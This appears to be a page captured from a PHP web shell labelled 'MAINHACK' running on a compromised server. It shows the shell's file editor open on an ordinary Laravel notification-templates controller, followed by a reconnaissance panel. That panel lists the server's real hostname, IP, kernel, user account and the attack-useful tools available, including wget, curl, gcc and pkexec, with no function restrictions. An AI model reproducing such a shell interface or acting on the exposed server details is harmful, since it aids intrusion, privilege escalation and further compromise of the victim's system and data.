[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: NotificationTemplatesController.php
<?php namespace App\Http\Controllers; use App\Models\NotificationTemplateLangs; use App\Models\NotificationTemplates; use App\Models\UserWorkspace; use App\Models\Utility; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; class NotificationTemplatesController extends Controller { public function index($slug='') { $currentWorkspace = Utility::getWorkspaceBySlug($slug); $notification_templates = NotificationTemplates::all(); return view('Notifications.index', compact('notification_templates', 'currentWorkspace')); } public function update(Request $request, $slug, $id) { $validator = \Validator::make( $request->all(), [ 'content' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $NotiLangTemplate = NotificationTemplateLangs::where('parent_id', '=', $id)->where('lang', '=', $request->lang)->where('created_by', '=', \Auth::user()->id)->first(); // if record not found then create new record else update it. if (empty($NotiLangTemplate)) { // $variables = NotificationTemplateLangs::where('parent_id', '=', $id)->where('lang', '=', $request->lang)->first()->variables; $variables = NotificationTemplateLangs::where('parent_id', '=', $id)->first()->variables; $NotiLangTemplate = new NotificationTemplateLangs(); $NotiLangTemplate->parent_id = $id; $NotiLangTemplate->lang = $request['lang']; $NotiLangTemplate->content = $request['content']; $NotiLangTemplate->variables = $variables; $NotiLangTemplate->created_by = \Auth::user()->id; $NotiLangTemplate->save(); } else { $NotiLangTemplate->content = $request['content']; $NotiLangTemplate->save(); } return redirect()->route( 'notification-templates.show', [ $slug, $id, $request->lang, ] )->with('success', __('Notification Template successfully updated.')); } public function show($slug = '', $id = null, $lang = 'en',) { $currentWorkspace = Utility::getWorkspaceBySlug($slug); $languages = Utility::languages(); $notification_template = NotificationTemplates::where('id', $id)->first(); if (empty($notification_template)) { return redirect()->back()->with('error', __('Not exists in notification template.')); } $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', $lang)->where('created_by', \Auth::user()->id)->first(); if (!isset($curr_noti_tempLang) || empty($curr_noti_tempLang)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', $lang)->first(); } if (!isset($curr_noti_tempLang) || empty($curr_noti_tempLang)) { $curr_noti_tempLang = NotificationTemplateLangs::where('parent_id', '=', $notification_template->id)->where('lang', 'en')->first(); !empty($curr_noti_tempLang) ? $curr_noti_tempLang->lang = $lang : null; } return view('Notifications.show', compact('notification_template', 'curr_noti_tempLang', 'languages', 'currentWorkspace')); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002